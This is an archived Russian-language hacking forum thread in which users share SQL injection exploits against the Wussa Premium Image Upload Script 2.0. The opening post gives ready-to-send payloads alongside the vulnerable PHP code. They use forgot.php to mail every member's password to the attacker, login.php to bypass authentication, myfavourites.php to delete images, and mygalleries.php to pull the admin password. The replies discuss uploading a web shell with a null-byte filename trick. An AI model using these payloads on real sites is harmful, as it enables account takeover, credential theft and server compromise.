PDA

Просмотр полной версии : Wussa Premium Image Upload Script


BlackSun
26.03.2009, 13:29
Wussa Premium Image Upload Script
Вервия: 2.0
Офф сайт: http://wussa.com/
Скачать: http://allskripts.ru/other_scripts/hosting/268-wussa-premium-image-upload-script.html
Зависимость для всех скуль: magic_quotes = off

SQL-INJ
Уязвимый скрипт: forgot.php
POST Запрос: username=' UNION SELECT id,username,password,userpass,'asdasd@asdasd.ru',a ccess from members -- -
Пароль придет на указанный email
Уязвимый кусок кода:

if (isset($_POST["forgot"])) {
$username = htmlspecialchars(trim($_POST["username"]));
$email = htmlspecialchars(trim($_POST["email"]));

if (($username != "") || ($email != ""))
{
if ($username != "")
$q = "SELECT * FROM `members` WHERE username = '$username'";
else
$q = "SELECT * FROM `members` WHERE email = '$email'";


if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);

if (!$number) {
echo "Sorry ! No account with the specified username or email exists";
showForm();
}
else {
$r = mysql_fetch_array($result_set);
$email1 = $r['email'];
$username = $r['username'];
$password = $r['password'];
$userpass = $r['userpass'];

$to = $email1;
$subject = "$webtitle - Password Recovery";
$body = "Hello $username, \n\nYou requested for your $webtitle account password recovery.\nYour registration information is shown below:\n\nUser: $username\nPass: $password\nUser Pass: $userpass \n\nThanks!\n{$website}";


SQL-INJ обход авторизации
Уязвимый скрипт: login.php
Запрос: UserName = ' OR 1=1) -- -, пароль любой
Уязвимый кусок кода:

if (isset($_POST["username"])) {

$username = htmlspecialchars(trim($_POST["username"]));
$password = htmlspecialchars(trim($_POST["password"]));

echo "<br />";
if (($username != "") && ($password != ""))
{
$q = "SELECT username FROM `members` WHERE (username = '$username') and (password = '$password')";
if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);

if (!$number) {
echo "Sorry ! The username does not exist, or maybe you have specified an incorrect password.";
showForm();
}
else {

// session.inc.php
$username = $_SESSION["imagehost-user"];
$password = $_SESSION["imagehost-pass"];

$q = "SELECT id, userpass FROM `members` WHERE (username = '$username') and (password = '$password')";
if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);

if (!$number) {
session_destroy();
$session = false;
}
else {


SQL-INJ Удаление любых картинок из избранного
Уязвимый скрипт: myfavourites.php
Запрос: myfavourites.php?act=delete&id=')+OR+1=1+--+
Уязвимый кусок кода:

if ($session == true)
{

if (isset($_GET["act"])) {
$act = $_GET["act"];

if (isset($_GET["id"]))
$id = trim($_GET["id"]);
else
die();


//DELETE AN IMAGE FROM FAVOURITES
if ($act == "delete") {

mysql_query("DELETE FROM `favourites` WHERE (id = '$id') AND (userid = '$userid')");


SQL-INJ Получение пароля администратора
Уязвимый скрипт: mygalleries.php
POST Запрос: changename=1&id=6a416dac9ffe8dd948b21e9d67637189&name=',name=(select password from settings limit 0,1) where id='6a416dac9ffe8dd948b21e9d67637189' -- -
Где хэшеподобная хрень - айди сушествующей галлереи
Уязвимый кусок кода:

if (isset($_POST["changename"])) {

$show = false;
$id = $_POST["id"];
$name = $_POST["name"];

if ($name != "") {
if ($id != "") {
if(mysql_query("UPDATE `galleries` SET name='$name' WHERE (id='$id') AND (userid='$userid')")) {


Думаю хватит, скулей там еще полно, все однотипные ..

PS: process.php

if (( ($_FILES[$name]["type"] == "image/gif")
|| ($_FILES[$name]["type"] == "image/jpeg")
|| ($_FILES[$name]["type"] == "image/pjpeg")
|| ($_FILES[$name]["type"] == "image/x-png")
|| ($_FILES[$name]["type"] == "image/bmp")
|| ($_FILES[$name]["type"] == "image/png")))
{

$size = intval(($_FILES[$name]["size"] / 1024) / 1024);

if ($session == true)
$limit = $maxsizemember;
else
$limit = $maxsizeguest;

if ($size > $limit)
die ("Sorry ! The size of the image exceeds the $limit Mb limit.");


if ($_FILES[$name]["error"] > 0) {
die("Error: " . $_FILES[$name]["error"]);
}
else {
$n = $_FILES[$name]["name"];
$rndName = md5($n . date("d-m-y") . time()) . "." . findExtension($n);
$uploadPath = "pictures/" . $rndName;
$tempPath = $_FILES[$name]["tmp_name"];
move_uploaded_file($tempPath, $uploadPath);
}

}
else
die("Sorry ! \"{$_FILES[$name]["name"]}\" is an invalid image.");

Файл не проверяет ресширение файлов, возможно можно залить шелл, правильно сформировав HTTP пакет, но мне лень было это проверять :) Файлы заливаются в pictures

KIR@PRO
27.03.2009, 18:42
Неполучится....

Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg, libjpeg: recoverable error: Corrupt JPEG data: 322 extraneous bytes before marker 0x20 in /home/upntag/public_html/process.php on line 108

Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error: in /home/upntag/public_html/process.php on line 108

Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: 'pictures/26c901ba2cd06e47ac94dd326015b06b.jpg' is not a valid JPEG file in /home/upntag/public_html/process.php on line 108

Warning: imagesx(): supplied argument is not a valid Image resource in /home/upntag/public_html/process.php on line 192

Warning: imagesy(): supplied argument is not a valid Image resource in /home/upntag/public_html/process.php on line 193
I am sorry but your Image "Изображение 033.php%00.jpg" is either too small or too large. Images must be atleast 150px but not larger then 4,000px

p.s. но судя по коду можно как все варианты опробую отпишусь....

BlackSun
29.03.2009, 12:27
Неполучится....
Я написал, что можно залить шелл. Слово "возможно" в фразе "возможно можно" стоит только потому, что мне лень было проверять. Истинное Мнение Хер Оспоришь.

Вначале файл заливается и только потом вызываются функции для работы с изображениями, но на них уже пофиг, главное залить файл.